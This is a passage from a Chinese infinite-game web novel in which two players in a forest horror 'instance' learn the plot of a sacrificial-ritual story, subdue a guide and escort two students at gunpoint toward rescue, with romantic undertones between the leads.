“假如有一天，我和你的朋友起了争执，时早……你会帮谁？” 这时的温浅川脸上出现了一道状似腼腆的笑容。 但听的人已经懵了：“……” “？？？” 有那么两秒钟，江时早就这样呆呆地望着温浅川—— 大脑如遭雷劈，心想这是哪门子问题？！ 还有那么一瞬间，江时早差点以为自己听到了“如果我和你的朋友同时掉水里了，你先救谁”…… ……江时早哽了一下，温浅川为什么会和自己的朋友起争执？ 不是，现在是思考这种问题的时候吗？温浅川到底想到什么了？……更何况温浅川根本不可能认识他的朋友啊。 江时早深呼吸了一口气，心道冷静冷静。他看着眼前的温浅川……难道还是因为进入了这个地方，温浅川并没有自己想象中的那么平静，对方根本没有接受这种诡异的事情，所以才开始胡思乱想了……？ 江时早思绪飞转，而眼前的温浅川似乎真的在很认真地等待他的回答。 ……江时早又深呼吸了一口气。 ……不管了，现在带着温浅川一起安全地通关副本才是最重要的。不管怎么样，不管温浅川想到了什么，现在都要先让温浅川安心。 “哥，我相信你的为人。不管发生什么，我……我肯定会帮你的，哥。” 江时早一口气说完，一边还留意着温浅川的反应。 温浅川的脸上出现了一个很好看的笑容，不过下一秒，这个人的视线就看向了江时早的左后方，“时早，有人来了。” 有人来了——？ 江时早转向身后时，果然听见温浅川所指的那个方向传来了细微的动静。 是主角团队，还是玩家？ 来人似乎也没有刻意隐藏行踪，很快江时早就听见了明显的，有人在向他们所在位置靠近的声音。而温浅川不知何时已经走到了他的斜前方向。 此刻的两人依旧距离很近，但看起来穿着校服的人此时就像被那个穿西装的人护在了身后。 江时早看向温浅川的侧影……心中也再次肯定，温浅川真的是一个好人。一般人这种时候都是往后躲的。更何况对方之前明明都已经恐慌到开始胡言乱语了。 看着这样的温浅川，江时早暗暗握拳，信念坚定：他一定要和温浅川一起平安地离开副本。然后继续做公交车搭子。 …… 身形高大的碧眼外国人从丛林中走出来时，不等江时早他们开口，对方已经十分自来熟地打了个招呼： “嗨，朋友们，组队吗？” 听到这样的话，江时早几乎立刻确认了对方的玩家身份。而且对面的人在看见自己和温浅川的穿搭后，完全没有流露出意外的情绪。 棕发碧眼的外国人见两人没有反对，于是又试探地往前走了几步。 这个人一边走，一边自我介绍道：“你们好啊，我是091。两位应该是……” 说到这里的091停下脚步，双方现在维持的这个距离非常礼貌，不过这个人接下来的话让江时早吃惊了一下。 “两位应该就是209999和……210001吧。”091说。 江时早惊了。一时间他脑子里闪过了很多想法。 ……眼前这个外国玩家是一个厉害的家伙。 江时早告诉自己，对方能够立刻道出他和温浅川的代号，这一点也不奇怪。 这些人会不会还有道具……技能之类的东西？ 对了，091的穿搭明显比他和温浅川更适合在丛林中行走。对方甚至还背着一个看起来装了很多物品的户外背包。 所有念头几乎在一瞬间闪过。 091的目光也在温浅川与江时早的身上来回了一圈。见两人都不搭理他，这个人叹了口气，他摊了摊右手，自己给自己台阶下道：“209999，我昨天才听说了你，没想到今天就遇上了。” 091的这句话是对着江时早说的。他看起来真的能够分辨出谁是谁。 “听说了我？”江时早心里闪过一个问号，不过他的神色并未变化。 穿书者的修养之一：无论遇上什么，一定要保持冷静，更不能在未知人物面前露怯。 091的心中则在感叹，果然这样的话题更容易让对话继续下去啊。他对江时早说：“你没关注吗？idt交流论坛里有人发了和你，和001有关的信息……你们上一个副本的信息。” 091又说：““209999”进入了这个副本，而你还穿着高中校服，这太好认了……对了，你们都了解任务了吧？” 江时早心中又愣了一下……什么任务？不过这一次，身旁的温浅川代替了他回答：“差不多了解了。” 温浅川说：“有一队徒步旅行的大学生被困在了这座森林里，只要玩家能够成功营救其中任意一人，副本出口就会为这位玩家打开。” 091点了点头道：“没错。看这任务描述，这一次的副本出口是单人出口。每个玩家都需要营救一个人的话，我们得赶紧了，不算那个当地导游在内，一共就九个受困的大学生。这九人中还有一人在昨晚失踪了。” 也就是说，现在留给他们六名游戏参与者的营救容错人数只剩下三人，甚至两人了。而且随着世界剧情的发展，这些受困者肯定会遇上很多意外，上帝才知道他们什么时候会突然遭遇不测。 所以091说，他们得赶紧找到这些人了。 091说话时不露痕迹地观察着对面那两位。他心中想到：果然，虽然代号数字有些奇怪，但209999和210001无论怎么看都非常人。 穿着校服和西装就来了吗……这是完全没把这个临时副本当回事啊。 091心想眼前两人的代号必然有问题，而这两人中，很可能就有……“001”。 一旁听着他们对话的江时早：“……”此刻心中只闪过了两个字：完蛋。 温浅川接到任务了，091也接到任务了。 但为什么自己什么也没有收到——？ 这种任务应该是系统通知的吧？ 但自他和温浅川一起进入了这个副本世界，江时早就没有再听见过系统提示音。 这个有些痛的领悟让江时早越来越心慌。 所以……等等……难不成……继穿书系统故障后，他的无限流系统也出现了问题——？ 江时早根本没有接到任何任务！ 冷静冷静。穿着校服的少年在心中反复念了几遍冷静后，仔细想想，既然091和温浅川接到的任务相同，很有可能所有玩家的任务都相同。 所以……自己只要能营救一位主角团队中的成员，他的副本出口就会打开？ 听091与温浅川的对话，副本剧情似乎刚好发展到了他看到的那一页？ 主角团队中的女主角之一“利昂娜”是在昨晚失踪的。能够对应091口中的‘这九人中还有一人在昨晚失踪了’。 而现在的时间既然是傍晚——傍晚正是分头寻找利昂娜的两队人决定就近寻找临时驻扎点渡过今天夜晚的时间节点。 那两队人中的其中一队人会在向导的带领下于天黑之前找到一间供应补给的森林木屋。 另一队人则会进入到一座废弃别墅。 “……”想到这，江时早的目光下意识就落在了自己空荡荡的手上。明明他连书包都背入了副本世界，但那本被他拿在手里的小说《skadino-via》却不见了。 江时早如鲠在喉。早知道昨晚就熬夜把书看完了！！ 在心底轻轻地叹了一口气后，江时早打起精神，他看向身旁的同伴，还好……温浅川看完了！ 所以故事现在进行到了主角团队进入森林后的第四天傍晚。 “我们现在距离他们应该不会太远。”江时早根据经验与温浅川说道。 “嗯，我也是这么想的。”温浅川声音和缓。 在与江时早说话时，温浅川会特意靠近少年，也只有在与江时早说话时，这个人才会倾身垂眸，看上去十分耐心、体贴。 对面的091瞬间感觉自己像个局外人。看着209999和210001，091感觉那两位之间流动的空气好像都和自己呼吸到的不一样。 091的目光又落在了江时早肩上的书包和温浅川手里的公文包上。两位的包看起来倒是都很符合他们的装扮哈。 091这时插了一句：“背景提示说那一行人在今早分开行动了。”091说着示意了一下自己背着的包，话题回到最初，他热心询问：“两位朋友，组队吗？我带了野外求生的必需品。我这里还有水和干粮……” 这听起来确实很诱人。 但江时早看着对面的091，内心不可避免地警惕起来。 这个无限游戏里经验丰富的高等级玩家果真都这么友好吗……？热情的让江时早心里有些毛毛的。 毕竟在小说里，像091这样的人物，展示出来的这种性格，这种开场白和搭讪方式……江时早脑海中闪过无数种可能性。甚至想到了：对方该不是假意和他们组队，实际上是把自己和温浅川当口粮吧？或者鱼饵？或者倒霉的新人替死鬼？ 江时早用目光询问温浅川的意思。两个人就是好，他还可以咨询同伴的意见。 收到示意的温浅川也秒懂了，看明白了江时早的犹豫，他当即转向091，回拒道：“不必了。我们不熟，还是各走各的吧。” 江时早：“……”好果断。 ……好极了，自己也不用纠结了。江时早相信温浅川的判断……！ “哎。好吧。”被拒绝的091有些丧气。但也没有再强求。好像他刚刚的提议真的只是一个提议。 江时早观察着这个棕发碧眼的外国人。见对方没有发难，他在对面那人垂头时拉了拉温浅川的衣袖，“我们走吧。” “好。”温浅川这时的声音听起来似乎心情不错。 很悦耳很放松。 听得江时早都感到了一点安心。 等到走远后，确认091没有跟上来，江时早才说道：“哥，前面有流水声，向导那一组人是沿着一条溪流搜寻的，我们等会跟着溪流找找看吧。” 和当地向导阿列克一起搜寻失踪者利昂娜的正是利昂娜的男友伊森·林道和她的好友艾米丽。 看过小说前面内容的江时早已经知晓了伊森和艾米丽之间有超出友谊的互动，这在前三天的徒步旅程中时常发生。 利昂娜失踪这件事疑点很多。 “不过伊森和艾米丽在寻人这件事上还挺积极的。”江时早思索道。 温浅川这时回望向江时早，他的目光温和：“早早，想要剧透吗？” 这个人对江时早的称呼不知从何时起由“时早”变成了“早早”，而两个人似乎都对这样的变化接受良好。 “剧透”两个字也触动了江时早身为读者的某种敏感：“……”一般情况下，他看书是绝不看剧透的。 但此情此景，下一秒……少年就眼巴巴地看向了他前方的温浅川。 江时早对温浅川说：“想要。” 落日的光洒落在林间，映在那双琥珀色的眼眸中，像一团温暖的碎金，江时早的目光既期待，又好像在渴望着什么。 温浅川的呼吸一顿，忽然他伸手搀扶住了眼前的人，“早早……小心脚下。” 江时早刚刚差点踩到了一处苔藓上。 不过在牵稳温浅川的手后，江时早利落的跳到了对方身边，两人此时站在一片岩石堆上，而在他们的眼前，一条暗红色的溪流正从这些岩石的缝隙间流过。 这一刻，流水声盖过了森林中的其它声响，既喧嚣，又静谧。 江时早站在岩石上。尽管知道这里的溪水是因为富含矿物质而改变了颜色，但在这片正值黄昏的森林中，站在这样一条暗红色的溪流上，江时早不可避免地紧张了起来。 暮色的光影下，溪水两侧的云杉枝干仿佛也随风扭曲、交缠了起来。 江时早望了望逐渐变暗的天空，“哥……不然你还是先告诉我……这座森林里有些什么诡异……传说吧。” 越往后说，江时早的声音越小。他的心跳声倒是十分清晰。 江时早的心脏正“咚、咚、咚”地有力跳动着。 19、第十九章 “早早，别害怕。按照我对这本书的理解，这座森林中的东西不会伤害你。至于和它们相关的传说……” 温浅川说着，向江时早摊开了自己的手掌，“我刚刚留意了我们穿过的小径，隐约能看见有人走过的痕迹。他们应该也经过了这条溪流。天快黑了，我们路上说。” “早早，你先牵着我。” 温浅川似乎有些担心江时早会摔跤。 江时早没有拒绝同伴的好意，他再次握住了温浅川的手。之前一路上自己都没有发现什么线索……温浅川好细心。 等到两人踩着堆砌的岩石穿过溪流后，江时早再次见识到了同伴的硬实力。 温浅川找到了向导在树干上刻下的记号。 这下他们的行动路线和目的地更加明确了。 不过他们走的是与树干上刻下的三角箭头相反的方向。 “这个向导有问题？”江时早问道。 “没错。”温浅川说，“阿列克是故意反向刻下记号。” 换句话说，这个向导似乎不希望有人循着记号找到他们。 跟向导阿列克一队的是失踪成员利昂娜的男友伊森，以及利昂娜的好友艾米丽。 江时早回忆小说前面的内容，文中尚未披露向导的背景，只知道一行人是在这片森林入口附近的古老小镇上与这位向导汇合的。 而这位向导也是主角团队提前约好的。 “阿列克想做什么？利昂娜的失踪与他有关？”江时早皱了皱眉。 就在这时，走在前面开路的温浅川侧过了身，他等了等身后的人，说道：“利昂娜没有失踪。” 利昂娜没有失踪……江时早愣了一下，反应过来：“难道她是自己藏了起来？” 温浅川点了点头。这时，这个人又极为自然地伸手，扶了身后的人一下。 江时早下意识就瞄到了温浅川的皮鞋。 ……站稳的瞬间，江时早感觉自己好像有些菜。穿着运动鞋的他没有温浅川走得快就算了，毕竟对方身高腿长……但自己竟然也没有温浅川走得稳吗！ 啊啊啊啊啊。江时早内心无声的呐喊了几声。 这时头顶又传来了那道好听的声音。 温浅川说：“早早，利昂娜和阿列克是认识的。记得书中提到过的小镇吗，他们两人都是在那座古老小镇上长大的。” 江时早缓缓点了点脑袋。实际上他已经回忆过相关剧情：“正式出发前，主角团队在那座小镇上住过一晚。但利昂娜完全没有透露出自己和这座小镇的关系……而且那座小镇上的居民非常少，很多房屋看上去都已经很久没有人居住过了。” 温浅川说：“没错。事实上，这一行人最终选择了来这片森林徒步，也在利昂娜的计划中。” “她和阿列克……准备做什么？” “原本这个悬念应该在故事接近尾声时才透露。”温浅川缓缓说道，然后下一秒，他如愿以偿的又看见了那道期待的目光——早早望向他的目光。 温浅川没有让人久等，他直接道出：“简单来说，利昂娜故意将这一行人带来这座森林中，是为了进行一种邪恶祭祀。故事后期出现的‘鬼’就是他们祭祀的对象，其他人则是祭品。当然，实际情况稍微有些复杂。在‘鬼’真正出现前，整本小说更侧重于描写每一个人物的选择。” 温浅川停顿了一下，而后继续说道：“按照剧情，今晚阿列克会将伊森和艾米丽控制起来。我们现在去往木屋，实际上不算特别安全。” 江时早紧张地观察了一下周围，“利昂娜现在躲在哪里？” “她一直就在最开始的驻扎地附近。那里还有两个人。”温浅川说道。 江时早瞬间明白过来，“利昂娜准备将留在营地里的人先控制起来？” 江时早记得驻守营地的是一对南韩留学生兄弟，哥哥李翰民，弟弟李智禧。 “对，她也会在今晚对营地里的两人动手。” “另一行人呢？”江时早提起人数最多的那队人。 那队人一共四人。其中不仅有伊森的哥哥伊万·林道，华国留学生林河、郑徐宁，还有一个曾经获得过国际青年拳击赛事冠军的约翰尼。 江时早分析道：“这四个人平均生存能力最高，并且聚在一起，利昂娜和阿列克准备怎么对付他们？” 说到最后，江时早的声音也迟疑起来，“阿列克身上有枪吗？” 如果利昂娜和阿列克有热武器，确实能够轻易将所有人控制起来。 实际上，只要这两人足够了解这片森林，情况就已经非常有利于他们了。 “森林里的确藏着枪。”温浅川说到这里时却笑了一下。 江时早不知道对方想到了什么，但在听见有枪时，他的大脑很本能的空白了一下。旋即脑子里闪过了很多被枪击的画面…… 感觉很痛。 身体也不禁哆嗦了一下。江时早现在就有些幻痛了。 “早早，想到什么了？”温浅川轻拍了拍眼前人的后背，安抚道，“那四个人不需要利昂娜和阿列克动手，他们已经处在最危险的境况中了。” 江时早回过神：“你是说他们进入的那座废弃别墅……难道那里面有……利昂娜他们信奉的鬼？” 温浅川说：“在这本小说里，不同的人对这座森林里的东西有不同的称呼。有人视其为‘神’，有人看见的是‘鬼’，还有人视其为‘怪物’，或者别的。这个东西也并非直接取走祭品的性命。” “它更喜欢食用的是由人产生的各种情绪。越强烈的情绪越能使其满足。譬如恐惧、爱欲、愤怒、嫉妒、悲欢……这些都会吸引它靠近。” “然后在祭品情绪最为极端的那一刻，吞掉祭品，最为享受。” “所以……早早很安全。” 温浅川说到最后，不忘安抚江时早。 这个人眯了眯眼，心想那种东西如果真的找了过来，应该也是先吞掉早早身边的自己。如果它能做到的话。 温浅川这时又说：“早早别担心，我知道哪里能够联系到外界的救援。” “但我们得先救出他们……”江时早的大脑正在飞速处理温浅川刚刚道出的信息。 忽然，他注意到：“哥。” 江时早抬头望向温浅川。温浅川刚刚实际上并没有直接回答他的问题。反而是解释了‘鬼’进食的原理。 所以…… “你的意思是，‘鬼’是被极端的情绪吸引到那座废弃别墅去的？” 废弃别墅里一共有四个人，只看数量，四个人的情绪总和的确可能更多更复杂。 温浅川点了点头道：“没错。那一队人去到别墅也不是意外。利昂娜提前做好了假线索，将四人引去了那个方向。” 江时早目光复杂了一瞬，他看向温浅川，“利昂娜发现了伊森和艾米丽的关系吗？” 温浅川想了想，说道：“她一直知道好友和男友的亲密互动。别忘了，她的生长环境注定了她对周围的一切都异于常人的敏感。谁会留在营地，谁会跟随向导去搜寻她，又有哪些人会一起去往废弃别墅，基本上都在她的预判中。” “废弃别墅里的几人有什么特别的矛盾吗？”江时早回忆书中的描写。 明面上，去往别墅的四人都是利昂娜的好友。 拳击手约翰尼似乎有些反感利昂娜的男友伊森。 约翰尼可能喜欢利昂娜。 华国留学生郑徐宁性格开朗健谈，看起来和谁都合得来。 相比较，另一个华国留学生林河的性格又有些过于安静了。这一路上林河都显得心事重重。 江时早不用感觉，这一定也是一个有秘密的人…… 至于伊森的兄长伊万，江时早有些难以判断。 伊万看起来是一行人中最沉稳的那一个，无论做事还是言行举止，他看起来都无可挑剔。但江时早在前期阅读时，总感觉这个人有些可怕。 “这个就说来话长了。”温浅川看了看天色。但既然早早问到了，他决定长话短说，“‘鬼’会被吸引去废弃别墅，一是因为伊万对林河极端的占有欲、爱欲。” 江时早：“……？” 读者江时早的大脑懵了一下，缓了半秒才有些不确定地问了一句：“伊万喜欢林河？”他记得这两个都是男性角色。 “是。”温浅川肯定道，“其次，伊万对弟弟伊森的嫉妒、愤恨、和杀意等多种极端情绪，也吸引了‘鬼’的靠近。” 江时早：“啊？” “伊森曾经在大学刚入学时冲动亲吻过林河。林河因此认清了自己的性向，并且迷恋上了伊森。但是伊森害怕了也反悔了，很快这个人就交往了女朋友。林河则陷入了矛盾与痛苦中。” 江时早：“……” 温浅川看着江时早微微睁大的眼睛，情绪瞬间软化成了一片片轻柔的水，他的早早真可爱…… “早早，其实故事发展到后面时有每个人物的回忆。”算是死前回忆吧。 后面那句温浅川没说。 为了让江时早缓缓，他换了个角色剧透，“艾米丽并不喜欢伊森，她喜欢的人实际上是她的好朋友利昂娜。利昂娜知道。毕竟她对周围的一切，尤其是人的情感，非常敏感。” 江时早：“？？？” 目瞪口呆已经无法形容此刻江时早的表情了。他知道这一行人的关系有些复杂，但是…… “早早？”温浅川又安抚地拍了拍江时早的背。 江时早喃喃道：“难怪发现利昂娜失踪后，艾米丽是最为积极搜寻的人之一。” 难怪林河总在看伊森他们。 难怪有人失踪后，伊万强烈要求林河与他一起搜寻。 江时早扶了扶额，也说出了之前的猜测：“约翰尼喜欢利昂娜？” 温浅川说：“有好感。约翰尼这个人物非常不喜欢沾花惹草的伊森。” 江时早：“那李翰民和李智禧兄弟……” 这一对兄弟的关系应该是真实的和睦吧。江时早根据文中对这两兄弟的描写判断，这不应该是虚情假意。 温浅川说：“李智禧是李翰民家领养的孩子。他们不是亲兄弟，双方都存在着极端压抑的对彼此的好感。” “？？？？？” “早早，怎么了？”温浅川关心道。 “……没、没什么。”嘴上这么说，实际上江时早早已在心里擦了擦汗。 ……这本书的感情线邪门的跟abyss有一拼。 江时早深呼吸了一口气，问出了那个他最想知道答案的问题：“结局是什么？” 温浅川回道：“无人生还。” 第20章【VIP】 第20章 第二十章 斯文的西装暴徒x神秘的20…… 无人生还。 听到这样的结局, 江时早竟然没有感到很意外。 “我们真的要抓紧时间了。”江时早脑中闪过了玩家091说这句话时的神情。 “好，早早想救谁？”温浅川体贴询问。 “……这个嘛。” 听见这个问题，江时早局促了两秒。 然后他老实地望向了温浅川, “那个……哥, 你觉得……我们能救出谁？” 不是江时早没信心, 实在是……实在是实力局限。考虑到各种实地情况，一时间他都不确定自己能救谁。 黄昏下，温浅川看着少年因为羞涩而微红的脸颊，险险失笑。 他抬起左手，轻轻地揉了揉江时早的脑袋。指尖拂过柔软的发丝，男人的心率也在变化。 “这里距离补给木屋最近。我们可以先放倒阿列克，取走他的猎枪防身。”温浅川说道。 江时早并没有排斥温浅川摸他脑袋的动作，好像被摸脑袋本身就不是什么事, 何况摸他脑袋的人还是温浅川。 此时此刻, 江时早正快速思考着温浅川那个提议的可行性。最后他点了点头说，“就这么办吧，哥。阿列克应该不知道我们的存在，我们可以悄悄靠近木屋，偷袭他……” 这样一想，江时早觉得能行。 “好。”温浅川继续说道, “一会儿我进去偷袭，早早你先在外面藏好。” 温浅川说着停顿了半秒, 低垂的眼眸正真诚的注视着他眼中的少年，仿佛在交托一件十分重要的事，温浅川补充道：“早早你一定要藏好，我最后的安全就交给你了。” “我……”江时早想说点什么，但在温浅川信任的目光里, 最后他用力地点了点脑袋，拍胸保证道：“哥，你放心，你的后背就交给我吧！” 其实刚刚有一刻，江时早觉得自己藏在外面不太好，他们两人应该一起行动，更有胜算！但是江时早也很快理解了温浅川的意思，哥是担心在他入侵偷袭时，身后出现意外，所以江时早最后应了下来。 “早早，你真好。”温浅川满意地勾了勾唇角。 等两人抵达补给木屋附近时，天色已经彻底暗了下来。 木屋的门敞开着，房间里有不算明亮的灯光透出，应该是那几人携带的照明设备。 温浅川带着江时早来到一处藏身处。 行动前，他靠近江时早耳畔，轻声说道：“别害怕，我很快就回来。” 黑暗中，江时早确实有些害怕。但此刻他更担心的是即将要独自采取偷袭行动的温浅川。 “哥，你小心。如果情况不对，你记得喊我……我会立刻冲进去的。”江时早小声说道，“如果外面有异常，我也会立刻提醒你。” 森林的夜晚限制了江时早的视线，但此刻，他仍能感觉到温浅川的呼吸，感觉到对方离他很近。温浅川还没有离开，而有这个人在身旁时，江时早会莫名的更感安心。 “早早，我很快就回来。” 黑暗中，温浅川又说了一次。那之后，江时早感觉身边的人离开了。 他的视线也立刻转向了木屋的方向。 但很快，江时早这一路上搭好的心理建设，和他努力想要维持的冷静就裂开了一条缝。 在睁大眼睛看清情况时，有那么一刻，江时早甚至怀疑自己误食了毒蘑菇。 他看见了什么—— 计划里说好的偷袭，但他竟然看见温浅川从木屋那扇敞开的正门走进去了！ 就那样光明正大的走进去了！ “！！！” 哥！！！！！ 江时早一度以为是自己出现幻觉了。 他的心脏狂跳。 但很快，木屋里就传出了不小的动静，伴随着几声古怪的叫喊，动静越来越大，就像是有人在里面打斗，足以证明这一切不是幻觉。 …… 一切发生得太快，江时早的心跳猛地加速，思绪飞转间，脑海中也不断浮现温浅川与他说过的每一句话。 三秒后，江时早忍不了了。他拿起之前捡来以防万一的尖木棍，拔腿冲向了木屋的方向。 …… 温浅川说过，猎枪被向导阿列克藏了起来，现在的阿列克身上是没有枪支武器的。 这个时间点，阿列克也尚未对伊森和艾米丽动手，木屋里的状况应该不会很糟。 自己带着武器进入，努力一下，怎么也要将温浅川捞出来…… …… 短暂的几秒钟里，江时早想了很多。但万万没想到，等他冲进木屋时，看见的会是这样的场景： 一个身材魁梧的男人躺在地上。对方看上去已经失去意识陷入了昏迷。在江时早的判断里，这个人极有可能就是向导阿列克。 而在这间木屋的角落，一对神色惊恐的年轻男女正背靠在墙边，他们的手脚都被捆上了绳索，颤抖着又不敢发出声音。 至于那个一开始令江时早无比担心的人…… 温浅川似乎没有想到早早会进来。他刚刚收回踢了踢阿列克脸的鞋尖，手里拿着不知道从哪里找来的猎枪，猎枪枪口正对着角落的男女。 门口传来动静时，温浅川侧过身，看清来人，他的神情瞬间又温和了几分。在木屋不算明亮的灯光下，温浅川的模样依旧斯文清俊。如果不看他手里熟练把控着的猎枪的话…… “早早……我刚刚准备回去找你。”四目相对，温浅川率先开口道，声音清润又无辜。 还是那道极具亲和力的悦耳声音。 “哥，哥……”跑来的江时早呼吸有些微乱，见温浅川没事，江时早悬着的一颗心才放了下来。然后大脑重新开始运转，思考起眼前的情况。 “早早，我把他打晕了。这个人一时半会儿醒不来。”温浅川体贴地替江时早梳理当前的状况。 随后又用枪口点了点角落里的两人。正是伊森与艾米丽。 “至于这两位，以防他们做出一些不寻常的举动，我先将他们捆了起来。”温浅川轻声解释道，“一会儿我们只需要压着他们去往安全地等待救援就行了……你觉得呢，早早？” 木屋里，江时早认真的听完了温浅川的计划。那之后，江时早……江时早一时间竟然不知道自己还能说什么。 只感觉一切都好合理。 这样一来他们甚至省略了向书中人物解释的必要，并且控制了变数……强硬救援。 江时早又看了眼角落里此刻被真理恐吓到不敢出声的两人。 按照温浅川的计划，如果一切顺利，他们似乎真的有可能营救下两个人……从而达成通关条件？ 意识到这一可能性，江时早感觉自己像在做梦！ 再看向温浅川时，江时早的眼睛里又有光了：“哥，你太厉害了！” 声音无比真诚。 温浅川喜欢江时早开心的模样。他的脸上也出现了一道腼腆笑容，温浅川谦虚道：“都是因为有早早在，我才……超常发挥了一下。” 角落里原封不动听见了这段对话的伊森&艾米丽：“……” 如果不是被真理指着，伊森真的很想说点什么。但这个想法刚升起，他就感觉那个对准他的幽黑枪口又点了点他！ 伊森的头瞬间就埋了下去。 心里骂了句该死！这个不知道从哪里冒出来的西装怪人，一进入木屋就放倒了向导，战力惊人不说，还从木板下方找出了一把猎枪！ 一切发生的太快了，等伊森反应过来时，他和艾米丽已经被捆起来了。 几人完全不是对方的对手。 …… 不过这个西装怪人说的救援又是怎么一回事？ …… 木屋里，江时早注意到角落里的人似乎抖的更厉害了。他的目光也再次停留在了温浅川手中的猎枪上。 虽然拿着枪的温浅川看上去好像有些唬人……但是…… 下一秒，江时早靠近温浅川，小声询问：“哥，你知道这个怎么用吗？” 温浅川在早早贴近他时就已经低下了头，听出对方语气里的担忧，温浅川浅笑道：“早早放心，我在军队待过。” 说完就将子弹上膛了。 听见子弹上膛声的伊森&艾米丽：“……” 这下江时早彻底放心了。难怪他一直就觉得温浅川非常与众不同，尤其是进入副本后…… 哥真是…… ——像极了主角！ ——善良的、好心的、谦逊的、智慧的、英俊的、身手不凡的、正义感爆棚的帅气主角！ 江时早的心中一瞬间就滑过了很多描述。像个小迷弟一样。完全没注意到自己已经给温浅川贴上了多少个标签。 温浅川眼中的笑意越来越深。 “哥，那个能够联系到外界救援的地方离我们远吗？” 江时早其实还有些担心现在出去会不会有危险。但仔细想想，现在这种情况，在这座森林里停留越久恐怕才越危险。 “不算远。早早，你来拿一下这个，我找点东西。”温浅川说着，将手中的猎枪交给了江时早，顺便帮少年调整了一下握姿。 温浅川站在江时早的身后，看上去就像将人环抱在了自己怀中。 “对，早早，就是这样，枪口对准他们，如果他们中任何一个人动了，不要犹豫，直接开枪。” 伊森&艾米丽：“……” “……好，好的哥。”江时早应声点头。如果不是他们的任务真的是救人，异位思考，江时早也很难相信拿着枪指着救援对象的自己是在救人。 将猎枪交给江时早后，温浅川从那三人的背包中又翻出了一套绳索。 江时早看着对方将已经昏迷的向导捆死在了一根柱子边。 那之后，温浅川又将看起来有用的东西装进了一个登山包，接着从撬开的地板下方摸出了一把手枪。 在将子弹上膛后，温浅川和江时早交换了一下手里的武器，旁若无人地说着：“早早你用这个，这个轻便，后座力小，命中率高。” “好的哥。”江时早应道！ 在看完温浅川一系列利落的操作后，江时早现在面对对方的态度宛如一个面对长官的迷弟新兵。毫无疑问的信任。 温浅川忍不住又揉了揉江时早的脑袋，视线则浅浅地扫过角落里的两人，“起来，跟我们走。” 听到这个人的声音，伊森和艾米丽战战兢兢地站了起来。他们的手不仅被捆在了身后，两个人的一只脚还被一条绳子连了起来。 换句话说，这两个人现在的行动非常受限，并且还无法分开逃跑。 至于被捆在这间木屋里的向导。温浅川转向江时早，目光温煦，细心说道：“等救援和警察到了，让他们来这里抓人。” 说完，他将一个白色安全头盔戴在了江时早的脑袋上。头盔上面有一盏头灯，可以照亮脚下和前方的路。他自己则将原本为这间木屋照明的便携式夜灯挂在了背包肩带上。 一切准备就绪，一行四人立刻动身，离开了木屋。而没有了灯光，那座木屋瞬间变得漆黑一片，在一行人离去后，很快与黑暗的森林融为了一体。 伊森和艾米丽走在前方。两人身后偶尔响起一道指路声。 一路上伊森都感觉后背有一个枪口在指着自己。 几个人在夜晚的森林里走了大约一个小时后，在一次温浅川询问完江时早“要不要吃点糖”时，惊魂未定的艾米丽才鼓起勇气问了一句：“那个……请问……” 她开口时，身后的对话声瞬间消失了。好几秒中，整个世界只剩下森林中的虫鸣和几人鞋底踩在丛林碎石与枯叶上的“沙沙”声还在继续作响。 但艾米丽仔细想过了西装暴徒和其同伴的对话。最后她闭着眼问出了：“是不是有什么误会？你们刚刚说会有警察和救援抵达……我们只是来这里徒步的学生，不是罪犯，你们是不是抓错人了？而且我们也有一个朋友失踪了，她需要帮助……对了，我的背包里有证件！可以证明我们是学生。” 一旦开了口，艾米丽就闭着眼把话一次性说完了。说完后她就深深地深吸了一口气。还好，身后的人没有开枪…… 一路上，从身后两人零星的对话中，艾米丽感觉他们应该不是坏人才对，但不知道为什么，西装暴徒一出现在木屋中就将所有人控制了起来。而且对方只带走了她和伊森，却留下了向导阿列克。 一旁的伊森则是大气也不敢出。艾米丽突然开口时，他吓得差点绊了一跤。 艾米丽其实也很后怕。 然后两人就听见了那个西装暴徒的声音： “安静往前走。” 温浅川说完时，与江时早目光相视了一秒，他想了想，又说了一句：“一会儿我们会到达一座废弃林场。等到了那里，我会报警。你们只要等到救援到来，就能获救。” “其它的不要多问。我和我的同伴不会相信任何人。”温浅川说着，又看向了身旁的早早，“一切等警察和救援到了再说。” 一旁的江时早听着听着就跟着点了点脑袋。 十分认可温浅川的决定。对方的每一个决策在他看来都很靠谱。 头灯的光也随着江时早的小动作晃了晃，落在一旁的人眼中，心中又是一阵酥麻、涟漪。 早早真可爱。 温浅川唇角微扬，单手剥开了不知道从哪里找出来的巧克力棒，喂给身边的人，“早早来。” 夜色下，江时早听见声音时，只看了一眼，就顺着那只投喂的手快速地咬了一口巧克力棒。随后视线又快速地回到了前方，继续盯紧了伊森和艾米丽，一气呵成。 看得一旁的温浅川顿感可爱。 可爱。 当然，江时早也不忘记感谢温浅川：“谢谢哥……” 补充能量的江时早似乎完全不觉得刚刚的互动有什么问题。 正常人在这种紧张的环境中，的确不会太注意生存之外的细节。 但温浅川显然越来越愉悦了，上扬的唇角几乎就没有压下去过。 前方，艾米丽似乎也听明白了。她不再出声。心中有了一个大胆的猜测。 艾米丽猜测身后的两人可能在这座森林里遭遇了什么不好的事。很严重的事件。以至于他们现在不信任任何外人。 如果真是她猜测的这样，假设西装暴徒和他身旁那少年都不是坏人，而这座森林里还存在别的危险，利昂娜的失踪是不是也与这个危险有关？ 艾米丽很想询问，但又怕刺激了身后的西装暴徒。或许她可以等到了林场，再找机会…… 艾米丽和伊森不知道的是，此刻那座废弃林场中，已经聚集了好几位他们的“朋友”了。 一行人继续在夜色中行走。 不知道又过了多久，等江时早和温浅川抵达林场附近时，隔着一段距离，几人已经注意到了林场中的光线。 “那里有人。”看见灯光时，江时早瞬间打起了十万分精神。 这一路太过顺利，作为恐怖悬疑小说资深读者，江时早都感到不可思议。 但真正撞上意料之外的状况，江时早又紧张起来了。 “应该是玩家。”温浅川轻声安慰道。 就在这时，仿佛是为了印证他的这句话，一道身影从黑暗中走了出来。 高度警惕的江时早瞬间将手中的枪口指向了黑影的方向。 却没想到对方开口竟然是：“209999？” 会喊出这个代号的当然是玩家。 006从一棵大树后面走了出来。他看了眼江时早和温浅川手中的武器，视线又扫过了被两人压来的“救援对象”。 初次见面，宋沉岳没想到这位“209999”是这样的形式风格。这和他之前收到情报似乎有些出入。 在RIDT调查一组09小队提交上来的报告中，“209999”应该是一个外表极具欺骗性的“高中生”，行事风格未知但偏温和，至少表现出来的像个“好人”。 但宋沉岳的视线在几人身上转了一圈，能将“救援对象”这样“高效率”压来的人，怎么看都与“温和”沾不上边。 温浅川手中的猎枪在宋沉岳出现时已经调转了方向，此刻枪口正对着这个从树林中现身的人。 